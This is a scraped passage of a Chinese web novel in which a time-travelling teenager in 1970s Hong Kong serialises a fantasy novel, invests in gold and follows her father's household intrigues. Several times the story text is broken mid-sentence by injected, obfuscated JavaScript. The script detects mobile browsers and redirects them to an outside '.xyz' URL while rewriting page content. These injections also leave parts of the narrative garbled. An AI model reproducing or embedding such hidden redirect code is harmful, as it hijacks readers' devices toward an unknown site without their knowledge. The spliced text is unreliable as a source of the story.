支持朋友是理所当然的事情,他朋友开店他也要送花篮横幅的。 玉华朋友的妹妹年龄应该比较小吧,小小年纪就能刊登小说,即便是在夜星晚报上也算得上挺不错的。 原本不爱读这类低质量报纸的齐老爷子头一次有了兴趣。 他没问孙女是哪篇小说,而是直接戴好眼镜,坐在沙发上翻开报纸的小说版面。 夜星晚报的大头是八卦,但小说也有足足四版,其中两篇是带了些颜色的武侠小说,一篇是痴男怨女,剩下那篇刚刚开始连载。 齐老爷子根据经验判断是新连载的这篇,想到这是个小姑娘的作品,他不自觉放低了预期。 这篇小说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844191|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字叫?寻仙路?。 开篇讲的是主角参加登仙大会。 在主角与他人的对话中,简单介绍了主角的出身来历。 主角名叫宋晨星,东宁洲宿明港人,父亲是渔夫,捕鱼遇风暴在他七岁那年便连人带船消失了,村人都说是去见龙王了,也就是死了。 他母亲是一名采珠女,在丈夫死后,为养活儿女重新下海采珠,如此辛苦了五年,身体越来越不好,宋晨星不忍母亲辛劳,便跟在村里其他船上做帮工早早赚钱。 而后,开始继续写起登仙大会。 原来这天地间有修士,修士身怀灵根,采天地灵气修炼,渡三劫便可飞升仙界做个真正与天地同寿日月同光的仙人。 登仙大会便是修士门派的收徒大会,有灵根者无论贵贱皆可参与,只要通过考验便可成为仙门弟子,修炼仙术。 来参加登仙大会的人形形色色各不相同,有在山中砍柴无意中走进来的,又家中长辈已入仙门提前知道消息的,也有一些是无门无派只是无意中习得些微末法术的神棍。 随着一声钟声响起,登仙大会开始,刹那间天地日月颠倒,白天变作黑夜,他们脚下不再是土地,而是被卷入海浪之中。 昏暗无边的大海中,海浪不停地拍打着所有人的脸,一缕灯光在远处闪烁,仿佛一座灯塔指引方向。 宋晨星本在渔村长大,又上过船,这环境对其他人来说十分恐怖险恶,他却已经习惯。 所以他拽着旁边那位误入此地的樵夫一起以前十的成绩跨过了第一关。 齐老爷子读到这里,已经觉得写这篇文的作者颇为厉害,仙人的设定很新颖,文笔也流畅,他本来不太爱看这类小说也愿意读下去。 他现在有点怀疑,这篇到底是不是玉华朋友妹妹的作品了。 难不成其实是那篇爱情小说? 刊载的内容到登仙大会第一关就差不多结束了。 樵夫很感谢宋晨星,宋晨星只说了一句举手之劳何足挂齿。 而后忽然有些突兀插入了几段对话。 “青云剑派这几百年也是越来越不行了,主持登仙大会的居然只有金丹修为,连元婴都未破!” “这么简单的幻术,也就你们这些还未筑基的小家伙会深陷其中。” “看来我让你只练气的决定是对的,你若是真的修炼显出根基,他们恐怕不收。” “也不知道青云剑派现在是谁在主事,青云剑派的五莲圣心决是最适合你体质的功法了,你若是进不了我们只能去找归一宗的那些秃驴。” 齐老爷子还在奇怪是谁在说话,便看到了最后一句。 【宋晨星摩擦了一下大拇指的扳指,上面镶着一颗黯淡的珍珠,他无奈地与对戒指里面那位大能前辈心语,“前辈你是千年前飞升的,如今沧海桑田,便是修士也会生老病死,青云剑派这些年不如从前,但也依然是正派七星。”】 这戒指里面藏了个人?还是灵魂?居然是个千年前就飞升的仙人? 来自后世的戒指老爷爷套路一出,立刻让原本除了设定还挺套路的内容有了一种不一样的味道。 齐老爷子不禁把报纸拿近了些。 就是这结尾断的有点过于好了,他刚刚被勾起的兴致完全得不到释放,只能把前面的内容又读了一遍。 作为一篇新文,《寻仙路》的第一章字数自比较,四版里占了两版的页面,不过再多也就只有一章。 齐老爷子看了两遍,字也不会多出来半个。 他只能盯着最后面那个括号——(本文每日一更)。 8. 第 8 章 叶念念写小说自然用上了后世的套路。 在后世的网文中,随身老爷爷算是个久经考验的金手指流派,其中一篇巅峰期更是称霸了在网文界称霸了好几年。 这种流派能流行起来自然有它的道理。作为金手指,随身老爷爷比死板的系统更容易让人接受,既是金手指也是讲解员,还能自带恩仇阴谋,方便作者埋暗线,也能让主角拥有更多机会。 哪怕是在七十年代的武侠小说中,也有类似的存在,你看看那些小说主角的隐世恩师,难道不是一个个老爷爷吗? 他们给主角秘籍,助力主角成长,关键时刻还会为主角装逼。 网文老爷爷流比这些更进一步,加上了随身二字。 主角可以随时跟老爷爷交流,得到其他人不知道的情报。 也方便作者水字数。 当然目前水字数这个作用除了叶念念也没人知道,所以看到《寻仙路》这部分内容的读者只觉得奇妙。 主角无意中得来一个戒指,戒指中有一个仙人的魂魄,主角将在仙人的指引下走上仙路。 当然,除了随身老爷爷,叶念念融合后世诸多修仙文构造出来的修仙世界也很吸引人,比起聊斋那样的鬼神故事,更像是武侠小说的仙侠化,这个世界有仙人也有凡人,修行者并非断情绝欲之人,更像是个普通人,在登仙大会上还有做买卖的修士表现出些许市侩之气。 这些合在一起让她的小说发售第一天就被不少读者喜欢上了。 这些读者原本都是夜星晚报的读者,大都是觉得《寻仙路》这篇小说很有趣,很愿意继续读下去。 不过也就仅此为止了,毕竟也就这点内容,整个世界还未展开,故事也只是起步阶段,再喜欢也就这样了。 《寻仙路》的第一章并未引起多大的水花,即便是帮着叶念念推荐上报纸的编辑龚子宁,在了解反馈之后,也只是心里觉得满意,并没有期待着自己手下这个十多岁的作者现在能有多少成就,只要不低于晚报上其他作者,也就不枉费她在主编那里花上几天水磨功夫争取来的版面。 叶念念因为早已完稿,所以给样稿的时候给的爽快,粗纲加上样稿已经交了五万过去,报社对这篇小说的质量并没有多少疑问。 他们都是老手,小说好不好看还是很容易能看出来的。 比较大的问题是作者的供稿。 十六岁正在上高中的女孩,读的是名校,家里也颇有资产,这些都是减分项。很多成名已久的小说作者都爱拖稿,一个不缺钱又学业繁忙的孩子呢?遇到考试不写小说了怎么办?虽然每个报社都会时不时遇到这类情况,但真的没编辑喜欢这样,除了那些名气极高的,普通连载他们哪怕小说质量差一些,也更愿意选择供稿稳定有口碑的作者。 所以虽然叶念念的稿子在夜星晚报里面很受欢迎,几个其他版面的编辑都拿来看完了,但到底收不收还是有争议。 龚子宁原本是生活版面的编辑,最近港城想开报社的老板挺多,他们报社被挖走了几个人,龚子宁作为老资历身上多了不少事,小说版面的部分工作也被扔给她了。 她和叶念念是老熟人,三四年前叶念念给夜星晚报投稿的第一篇影评就是她给过的。 她见过叶念念。 和报社里觉得学生会断稿的想法不同,她反倒是认为学生比起那些社会人士更纯粹,报社合作的一些老油子作家那才叫麻烦呢,平常交稿倒是正常,忽然遇到什么事情——列如被其他报社高价约稿,或者干脆没灵感,那可都是直接消失不见的。 她对叶念念的印象很好,也详细问过叶念念每天的写作时间,很确定叶念念可以按时供稿。 不过为了以防万一,她还是多收了五万字稿,并以此为借口让主编同意连载《寻仙路》。 当然,这都是报社内的讨论,叶念念本人并不知情。 她现在还在为自己的小说上报纸而感到高兴。 她以前写小说入V赚钱就是主要目标,能登上报纸,助力她在港城买房,她就觉得很好。 编辑要求每周星期天至少交稿三万字,在她眼中完全不是问题,毕竟她全文已经写完。 下午小知把今天的夜星晚报送来,叶念念就翻着印有自己小说的那一页翻来覆去的看。 这个词时不时用的不好? 会不会有读者不喜欢这个? 她久违的担忧起来。 哪怕是吃饭的时候,都有点心不在焉,好在她哥表现得比她明显,两个妈还以为是他们兄妹又要搞什么事情,把火力集中到叶盛鸿身上。惹得叶盛鸿吃完饭就上二楼。 叶怡人还要背书,也很快就吃完饭。 饭后,芳姐把碗筷收拾好,一楼只剩下叶念念和两个妈一起看电视。 然后一阵敲门声响起。 来人正是龚子宁。 港城比较小,夜星晚报的编辑对连载小说的作者都是上门收稿。 龚子宁住的地方离叶念念这边不远,以前还到过叶念念家里开的蛋糕店买蛋糕,所以这次叶念念的小说刊登第一天,她晚上下班还特意到叶家跑了一趟,把当天的报纸拿了两份过来。 叶念念还没想好怎么把这件事情告诉两个妈,就遭遇了编辑上门。 对于一个普普通通的I人作者来说,被编辑打电话都已经要命了,这种上门面对面,完全可以称得上惊吓,不过叶念念好歹是二世为人,心理素质已经锻炼得不错了,保持着礼貌把龚子宁迎进来。 龚小姐自然是把她小说的事情讲了出来。 听了龚小姐的话,两个妈都很高兴,但也和寻常父母一样担心会不会影响她学习,好在叶念念平日表现非常优秀,成绩也没见下降,她们也就先把这件事情当做一件彻底的喜讯来高兴。 两个妈也都没有想起主动把这件事情告诉叶兴德那边。 叶兴德万事不管,这事拿去告诉旬太太?期待旬太太的夸奖?那还不如去告诉叶兴德呢,至少叶兴德高兴的时候能给钱。 龚小姐还把带来的两份报纸送给了巧妈和翠妈。 陈明翠认识的字不多,很多都是到港城之后,跟着叶念念学的,黄盼巧认得字多些,她拿着报纸给陈明翠读。 叶念念站在旁边还挺不好意思的。 这不是公开处刑吗? 然后——她便看到亲妈的眼泪止不住的往下流。 她心底一颤,连手帕都没来得及拿就要去给翠妈擦眼泪。 陈明翠摇了摇头,语带哽咽,“妈没事,我就是高兴。” 她一辈子没文化,活得庸庸碌碌的。十来岁的时候亲爹穷的响叮当却染上了赌瘾,把她卖了,她也就被卖了,哭了几声被嫌弃那也就不哭了。到了舞厅,日子其实反而好过了些,有黄盼巧这个不是亲姐胜似亲姐的人领着她,没吃什么亏。后面又到了叶家,日子更好过了些,她还生下两个孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她作为编辑自然是鼓励为主,一连串彩虹屁让叶念念真的有了一种自己很厉害,马上就能出名的感觉,昏头昏脑就答应了再多交两万稿的事情。 龚子宁怕她反应过来反悔,马上告辞。 叶念念又听两个妈对她一顿夸,等到她亲哥下楼,亲哥虽然有点魂不守舍,但对她写小说也是大大的夸。 她真的有那么厉害吗? 好像有点? 毕竟她都已经穿越过一次。 叶念念坐回书桌前依然还有点飘飘然。 她想起两万字稿的事情,就从锁着的柜子里翻出十多页稿纸。 已经写完的小说呢,多交两万字也不算什么事。 她桌面上还有一本笔记本,是她上午带着去问蒋叔的那本。 她终于想起来。 因为今天在一直等着报纸过来,她根本就没动笔写新文的正文内容。 这…… 她抓了抓头发,一天不写就会两天不写,两天不写就会一周不写,一周不写就会永远不写! 她都坚持这么多年了,可不能堕落! 叶念念马上拿起笔。 稿纸还是原来的稿纸,以前她只把写作当赚钱,现在却多了一点梦想。 不,应该说是恢复了一点梦想。 很早很早以前,她上一辈子,她也想过成为网文大卖,真正把写作当做职业。 加油! 9. 第 9 章 叶念念写小说又有了新的动力。 对她来说,每天能够看着自己写下的文字被刊载在报纸上就有源源不断的满足感。 两个妈也看她的小说,还把报纸带到蛋糕店给员工看,没几天附近的邻居也都知道她写小说的事情了,纷纷买报支持,李叔摊位上夜星晚报这两天都是一下就卖光,李叔说他也要多进十份来支持念念 这话也就这么一听。 光是她家增加的销量就有五六份,再加上附近那些邻居,李叔多进十份绝对能卖掉。 不过高兴虽然高兴,叶念念还是有点不习惯。 比如隔壁那个比她小三岁的初中生看见她会追着她问剧情,问主角宋晨星会不会成为青云剑派的内门弟子会选哪个师傅。 剧透是绝对不行的! 甚至于追连载的芳姐都会来问她。 倒也不是故意,只是看报纸的时候看到了她就随口一问。 叶念念实在是不想被人问剧情,所以最近一个星期都是闭门不出,一直在闭关写字。 成果也颇为喜人,最近每天都能写五千字,再加上以前的存稿,她那篇赌石的新小说已经有十万字。 运气好的话,等这个暑假过完,她能有三十多万存稿,上学之后会忙些,写的时间也会减少,但再怎么一个月也能写六万字,明年这个时候她差不多就能写完。 要是这次连载反响好,她下一篇小说的稿费很可能直接翻倍达到千字八十,那她一篇百万字小说就能拿到十万块了。 七零年的十万块可不少,哪怕是在港城,等等——甚至是在阿美莉卡!一年十万港币这都能供怡人姐去阿美莉卡读大学了。 港城许多挺光鲜的中产收入也就这个数,他们还要养活一家人,叶念念这可是纯收入。 而上辈子,哪怕是五十年后,叶念念一年也难存十万块。 不过这段时间写字太多,让她越发怀念起曾经的电脑。 她时不时就得怀念一波。 因为她其实更喜欢键盘打字,以前她在电脑上写,每个小时能写两到三千字呢,把手写的时间换成电脑,她起码能多写两倍,稿费也能更多。 要是每年二十万,她这不是一年一栋房吗? 现在的港城也有打字机,主要是企业、报社、学校才是购买使用,还要配专门的打字员。 叶念念也曾经好奇过打字机,等到她真的看到实物就泄了气。 还是太过繁琐了,还不如她手写呢。 也难怪当年互联网上有一种说法是华国网络普及第一大发明就是汉字输入法。她可能还需要等上个二十年才能像上辈子那样打字。 在这一个星期的时间里,叶怡人留学的事情有了点眉目。 叶盛鸿带着姐姐去找了叶盛远。 叶家主宅那边一直有雇佣着一位家庭医生,解和光解医生。他在香港富人圈里有些名气,除了叶家也给另外几家富豪做家庭医生。他早年在内地读大学,而后在国外留学,大嘤和阿美莉卡都留过,拿到了博士学位。 叶盛远跟解医生预约了一下时间,就带着叶怡人和叶盛鸿一起去咨询。 对,叶念念忙着写稿没去。 面对自己的客户,又是颇有名的叶家,解医生的态度很好。他还有个儿子,比叶怡人大两岁,去年去留学的,这让他比其他人懂的东西更多些。 他建议叶怡人拿到本科学历之后直接去阿美莉卡读到博士。 他说了很多,现在阿美莉卡的医学的确更发达一些,叶怡人原本也觉得去阿美莉卡学医更好,跟解医生咨询过之后,更是坚定了她的想法。 解医生挺有钱的,儿子留学的花费完全能承受。 叶怡人是叶盛远带来的,说是他的堂妹,解医生知道叶兴德,所以也没怎么说清楚阿美莉卡的学费问题,只是简略的说阿美莉卡开销更多。 是啊,叶家怎么会没钱呢? 学费才不会是叶家孩子考虑的问题。 唯一会担忧的大约只有叶念念吧。 大约是夜星报社最近被挖角挖的太狠,不光编辑几个作者也被挖了,所以稿费给的很干脆。 叶念念拿到了她第一周的稿费,这一周报纸上《寻仙路》在报纸上连载了五万字,叶念念拿到了两千块钱。 薄薄的两张一千面额纸币,叶念念没拿去存银行,她把这两张钱放在日记本里压得整整齐齐,留作纪念。 写作的生涯开始起步,叶念念也逐渐把自己的角色从孩童、少女上转移。 以前她怕自己成熟的一面过于引人注意,一直都会装乖卖巧,模仿身边的同龄人,让自己看上去不至于太过奇怪。 现在她开始赚钱,心里不自觉就稳当下来,开始恢复上辈子的成熟,或者说是“班味”? 毕竟每天伏案写作那么久,没精神也是理所当然的吧! 在写作的间隙,叶念念还抽空搞了点理财。 之所以说是抽空,那是因为她所谓的理财只是一件很简单的事——买黄金。 随着七十年代阿美莉卡的布林顿森林体系的瓦解,国际黄金市场迎来了一次剧烈的波动。 稳定了快二十年的黄金在十年间翻了二十多倍。 现在的黄金不过35美元/盎司,到了80年就会飙涨到最高位850美元/盎司。 这个世界和她原本的世界有微妙的不同之处,但大体还是一致,所以黄金走势肯定不会变,就像哪怕现在老大哥如日中天,叶念念也没有什么学俄语的兴趣。 扯远了。 叶念念知道港城的房价会一直涨,但再怎么涨也涨不过这一轮黄金。 所以她毫不犹豫的把自己所有的存款都拿来买黄金,还催着两个妈也去买。 借口也是现成的。 亲哥和怡人都成年了,叶盛鸿还马上就毕业,等到结婚可不得需要多一些黄金?反正黄金保值,她们一起多买点。 巧妈和翠妈因为过去在沪上的经历也有囤积金银的习惯,叶念念这么一说,她们就把部分现金换成来了黄金。 叶家本来就是搞黄金贸易,这个对她们来说太简单了,打个电话到金铺,金铺直接把黄金送过来,一手交钱一手交货,方便得很。 叶念念掰着指头算了一下收益,对怡人姐的留学事宜又安心了不少。 她差点把黄金涨价这事给忘记了,还是这次翻日记本想起来的。 先前她算钱的时候算的都是银行里和家里的现金,没把黄金给算进去。 作为叶家孩子,她们出生的时候都是一套黄金长命锁手镯脚环配齐。 到了十五岁,讲究的叶老太太还会给她们送及笄礼——一对实心大金镯,结婚的时候还有东西,不过叶念念还没去想那么远的事情。 除了她们三个孩子的,巧妈和翠妈在叶家的这些年也是得到了不少黄金首饰。 这么一算起来,到了八零年黄金价格达到高峰,他们家的资产还能翻上一番? 她都生出一种想要买个天平把家里黄金称一遍算算到底能值多少钱的冲动。 叶念念在机密日记本的一页上用密语把八零年这个时间点反复写了几页,强调一定要在这个时间之前卖掉黄金。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844193|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 穿越后,她的记忆力很好,几乎可以说是过目不忘。 不过她对这种不寻常记忆力很没有安全感,总害怕哪一天世界清除BUG,会把自己的记忆力也给一并清除,所以她时常会把一些重要的事情用并不难解的密语写在了日记本上来提醒自己。 最近几年,她已经很少翻看这边日记本,把心思放在写作上面。 因为她已经发现,穿越一次,她拥有的机会太多太多,多到即便放弃她也不会觉得可惜的地步。 这次黄金大采购,巧妈还送了她一对丁香花的金耳环。 她没打耳洞,不过这不妨碍她收首饰。 巧妈喜欢打扮孩子,但她亲生的叶怡人对穿衣打扮很不耐烦,她便把这点爱好放在了叶念念身上。 叶念念觉得有人帮她打扮也不挺好吗? 巧妈的审美可真不错! 叶念念心里美滋滋。 叶怡人瞧着她得意的模样,把她的脑袋狠狠蹂躏了一会,“我学医的,带那么多首饰不方便,都叫她别买了,总是不听,还好你戴着合适。” 叶念念道,“首饰也不需要天天戴呀,我那么多首饰都是去主宅或者在家里才戴,你不觉得黄金金灿灿的很可爱吗?” 岂止是可爱啊! 叶念念爱死这金钱的味道了。 叶怡人不觉得,“只是贵重金属罢了。” 叶念念道,“黄金至少比钻石有价值,不是吗?”钻石可是炒作营销的鼻祖之作啊。 叶盛鸿也在姐妹俩旁边,他出声道,“A Diamond is Forever,女孩子现在更喜欢钻石吧,黄金太庸俗了。” 港城这边受欧美影响大,年轻一代结婚也流行起了钻石戒指。 叶念念以前也觉得钻石昂贵,但随着人造钻石和网络的崛起,钻石的营销早就被扒了个干净,无非是垄断加强行制造标准。再加上经济下行,黄金涨价,年轻一代也开始喜欢黄金,这玩意至少保值啊! 叶念念可正准备通过黄金大赚一笔,她眼中黄金自然更好。 不过她也知道叶盛鸿的情况,这家伙在自以为保密的谈恋爱呢,所以才会关心年轻女性喜欢什么首饰。 叶念念若有所思的看着叶盛鸿,“这个还是要看具体情况,还有不少女孩子喜欢水晶呢,颜色多更漂亮,黄金首饰也有造型时尚好看的,黄金不行还有铂金呢。” 叶盛鸿果然听得认真。 叶念念脸上笑眯眯的,“对了,哥~蛋糕店那边怎么样?你去上了几天工?” 前段时间翠妈嫌弃儿子太清闲只知道玩,就抓他去家里蛋糕店做事。 只不过毕竟是自家孩子,不需要打卡上工,有时间去一下就行。 非常稀奇的是,叶盛鸿去的还挺勤快的。 叶念念道,“我听巧妈说,好多店里的试作品小蛋糕都被你拿去分给朋友了?” 叶怡人听到这有点奇怪,“先前妈让你把那些东西拿去送人,你不是还觉得麻烦吗?” 她们家蛋糕店一直研究新品,再加上为求新鲜还禁止隔夜,所以总有很多吃不完的蛋糕面包,黄盼巧经常把这些东西拿去送亲友,叶盛鸿朋友多,也会让他送。 只不过叶盛鸿送了两次就懒得送。 叶怡人问,“又有新朋友了吗?” 这问题很正常,奈何叶盛鸿心里有鬼,支支吾吾顾左右而言他,没一会说自己去蛋糕店帮忙,跑了。 叶怡人转头看向叶念念,“他怎么了?最近很奇怪。” 叶念念笑起来,“他呀?春天到了呀~” 10. 第 10 章 叶念念今天下楼吃午饭,芳姐神神秘秘的把她扯到一边。 “小妹,最近报纸上都在传以后不准娶姨太太呢。” 这的确是最近讨论过最多的流言。 大嘤一夫一妻,内地一夫一妻,港城的婚姻法算是上古遗留产物,因为最早港城用的是大清的律法,允许男人娶小老婆。 港城几十年前就一直说要废除这条法律,但因为各种原因一直都没改。前几年港城发生了不小的骚动,大嘤那边终于想起来要改正了。 叶念念知道,的确是再过不到一年,港府就会颁布改革条例。 她装作无所谓的说道,“没事,以后不准娶姨太太,先前娶的总不能不算数吧。” 芳姐道,“我不是指这个。” 她压低音量,“四老爷外面那个好像想要进来,今天太太那边的人让三姨太四姨太都过去呢,肯定有事情。” 叶念念对于亲爹叶兴德的事情有时候还挺关注的,毕竟那么一大堆钱在那,哪怕知道自己继承不到多少,也不能无视这座金山啊。 叶兴德一直挺风流,最近十年因为叶家分家的缘故算是老实点了,但老实的不多。 叶兴德的五姨太叫单水儿,是个没什么名气的演员,叶兴德刚到港城的时候为单水儿着迷过一段时间,但几年过后也淡了。 后面叶兴德拿到麻将牌照开了麻将馆,他便整日打麻将,有时也和些女的不清不楚,因为一直没闹到旬太太那边,家里也就当做不知道。 最近几年,叶兴德和一个有夫之妇搞到了一起。 叶念念这边也知道那人的名字——罗秋芬,是个二十多岁快三十岁的女人,长得挺漂亮,但是命不太好,嫁了个病秧子,生了个小病秧子,公婆年纪又都大了,没办法,家里没钱,她就出来工作了,干的是饮料推销,跑到麻将馆推销的时候和叶兴德认识了。 叶兴德这人裤腰带松、手也松,对漂亮女人来者不拒,给钱也真爽快。 两人一个求财一个求色,也就勾搭在了一起。 稍微有点新奇的地方是,罗秋芬那个病秧子老公知道这件事情,并且默许了。 其实啊,让自己老婆背着这么大的经济压力出来工作养全家最后会弄成什么样他心里没数吗? 他知道,他也还是做了。 巧妈和翠妈都是待过舞厅,对这种事情已经见怪不怪,比起罗秋芬,她们更看不惯这一家子吸罗秋芬血的。 原先巧妈和翠妈都打过赌,赌罗秋芬什么时候跑。 那家子人也就是压着罗秋芬的孩子当把柄,面对颇有资产还和几个红花棍都能称兄道弟的叶兴德完全没有一点用,根本没胆子闹。 叶兴德给罗秋芬钱,但也只是睡人,其他的事情他不管。只要不吵到他面前,他无所谓,反正是他给别人戴绿帽,又不是别人给他戴。 叶念念听到芳姐说罗秋芬想要进门,她也只是觉得这一天终于来了。 她能忍那一堆吸血虫这么久,已经算厉害。 叶念念问,“把巧妈和翠妈都叫走了吗?那个真的准备进门了?我爹那边有什么说法么?” 芳姐喜欢八卦,和旬太太身边几个佣人也都是老相识,知道不少事情。 “说是怀上了,四老爷心比较软,求一求就带着去见太太了。” 叶念念懂了,罗秋芬应该是终于打算摆脱那吸血的一家人了,或者说,是终于舍得孩子了。 叶兴德会让她进家门,却不一定能同意她带着前夫的儿子一起来。 也许罗秋芬早就有谋划,因为那不准娶小老婆的流言越来越真,就加快了动作,怀了孕才有胆子去求叶兴德。 叶念念点头,“太太肯定会留下她,我又多了个小妈。” 芳姐道,“可不是嘛,太太最要脸的,就是这有夫之妇的名头不好听,不知道那个女人离婚了吗?没离婚……孩子就会有点说不清楚……” 叶念念道,“反正爹清楚,太太认就行,巧妈和翠妈过去应该也就是走个过场。” 她们这边两个妈三个孩子一家人过得舒服,但一到了那边就没人在意她们,两个妈的地位也就比佣人高一点。 叶念念不喜欢过节,因为过节就要‘团圆’,就要去那边‘团聚’。 晚饭是三个孩子一起吃的,巧妈和翠妈晚上八点左右才被车送回来。她们对多一个‘姐妹’也没多大反应,反倒是提起了二太太。 她们去了太太那边,除了罗秋芬的事情,也知道了以前二太太的消息。 叶兴德的二老婆名叫方之华,是叶兴德的同学,当时那阵子自由恋爱的风气很厉害,叶兴德愿意的时候,他是真的会哄人,哄得方之华以为自己是叶兴德的真爱,就嫁进来了。旬太太那时候正好怀孕,瞧着自己丈夫和另一个女人结婚,还搞什么西式婚礼,就把巧妈和翠妈买进来给叶兴德做了妾。 一对漂亮姐妹花就让叶兴德的进步青年形象破产,方之华大失所望,只是那时候她也怀孕了,没能鼓起勇气离婚。 叶家离开沪市前往港城的时候,方之华坚持带着孩子留在内地,甚至主动去申请了离婚证。 叶念念那时候年龄小,但仍然记得她拿到离婚证时候的神采奕奕,她重获新生了。 方之华来信了。 叶家搬到港城十多年了,这位曾经的二太太第一次写信过来。 信的内容很简单。 儿子叶盛和前几年下乡做了知青,今年跟同一个知青点的女知青结为革命伴侣,已经结婚。 叶兴德是叶盛和的父亲,有权利知道自己孩子的婚事,所以她特地写信告知。 叶兴德已经十多年没见过自己的二儿子了,忽然间收到这么一封信,这还是他第一个结婚的儿子呢,说不准过一两年,他就会多出来个孙子孙女。以前没有的慈父心莫名其妙的涌上来,觉得自己这个前妻耽误了自己儿子的前途。 当知青可不是就是吃苦么? 港城可有不少逃来的知青! 反正看到信他生气了,觉得自己的儿子不能随便娶一个村姑!立马让旬太太写一封信过去骂人。 顺便他还寄了一万港币过去。 不是他不想多寄一点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844194|175750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是旬太太说信会被检查,寄钱太多容易引来麻烦,所以他只能克制一些。 巧妈对内地的物价比较清楚,“寄一万港币够了,四千多块抵得了内地一个工人十年的工资。” “不过就是下乡这事有点不好办,好像拿钱能买到工作,华姐……”方之华离婚后巧妈不再叫她二太太,而是称呼她为华姐。 巧妈有点担忧,“华姐聪明,但有时候有点轴。” 翠妈则不担心,“有钱什么办不到啊,上次你哥写信也不是求着要你汇一千块过去买工作吗?” 巧妈一听放下心来,“这倒也是。” 她们可是在老沪上生活过现在又在港城的,金钱有多少力量,她们再清楚不过了。 叶念念凑上前去,“等内地政策宽松一些再让爸寄钱过去吧,就是不知道他到时候还能不能记得这个儿子。” 陈明翠用手指点了一下叶念念的脑门,“别这么说你亲爹,他要是不在乎孩子能让那个罗秋芬进门?” 话题又从方之华转到了罗秋芬。 罗秋芬已经怀孕三个月了,自己哄骗丈夫离了婚,倒是没给叶家添多少麻烦。 今天陈明翠和黄盼巧被叫过去就是罗秋芬进门给太太奉茶过明路。 巧妈说,“我还真是佩服旬太太,她居然面上一点都不生气,我还以为分家这些年没人压在头上,她气性比原来大了会压不住呢。” 叶念念也很佩服旬太太——绝对合格的封建正房,男人梦寐以求的大老婆。 好像什么都能忍,永远看不到她失控的时候。 她捂住脑袋,“奶奶还在呢?什么叫没人压在头上?”她亲爹也还活着呢,所以旬太太现在还是要忍。 翠妈觉得女儿说的话不太好听,又想故技重施,但看着保护住要害的女儿,‘噗’的一声笑了。 巧妈从背后偷袭,点了一下叶念念的后脑勺。 “虽然是在家里,但你还是少说两句吧。” 翠妈说,“旬太太现在的心思都在儿子上,哪有时间管着老爷?再说老爷已经十年没进新人了,多一个就多一个吧,放在外面说不定还更花钱。” 巧妈道,“盛鸿都找女朋友,大少爷大几岁,旬太太肯定早就在谋划着给大少爷定亲,就是分家了这么久……恐怕不太好找。”准确的来说应该是很难找到符合旬太太标准的儿媳妇。 人要乖巧懂事,家里要有钱,最好还得是名门之后。 有这种条件的姑娘找谁不好一定要找叶盛州? 虽然叶盛州知名大学毕业,看上去也人模狗样的,但看看看他爹叶兴德!娶那么多小老婆,唯一在干的行当还是麻将馆,只会吃租,根本没出息。 然而叶念念的重点不在这里。 她惊讶道,“巧妈,你知道哥找了女朋友?” 回答的是翠妈。 陈明翠理所当然,“他可是从我肚皮里出来的,他翘翘屁股我就知道他要去哪拉屎。” 巧妈道,“我们只是觉得没必要点出来,他不说那就当做没有吧,毕竟还年轻,谁知道以后的事情呢。” 11. 第 11 章 虽然家里事情不少,但大部分与叶念念关系不大。 毕竟她只有十六岁。 所以叶念念还能十分安心的利用暑假这段漫长的放假时间来写小说。 她交稿爽快,龚子宁以为她写作也快,所以刊登的字数也就多了起来,现在夜星晚报每天能刊登三千字的《寻仙路》,再加上第一次发表时候几倍字数,短短一个月《寻仙路》的稿子就用掉了十万字。 随着故事的展开,《寻仙路》也吸引了越来越多的读者。 武侠哪有仙侠爽?仙侠的场面可是要多大有多大,再加上叶念念师承现代网文的通俗更贴近现代的叙事写法和不少经典剧情,《寻仙路》终于有一点火的样子——在夜星晚报的小说板块里面人气第一。 还有几家报社联系叶念念,想要约稿,开的价码不低,稿费提高到千字六十,比夜星晚报高了一半。 叶念念十分感动,然后拒绝了。 倒不是她讲诚信不爱钱。 夜星晚报只签了她一本小说,并没有订协议不允许她去其他报社写,只要她能按时交稿,夜星晚报没有一点理由拦她。她对夜星晚报的感情也没什么深。 只是这几家报社都是新出的,现在处于广撒网请作者的阶段,现在看着是大方,但到底活不活得下来还不一定呢。 要是她把一本小说放在这样不知道能活多久的报纸上,小说连载到一半,报社倒闭怎么办? 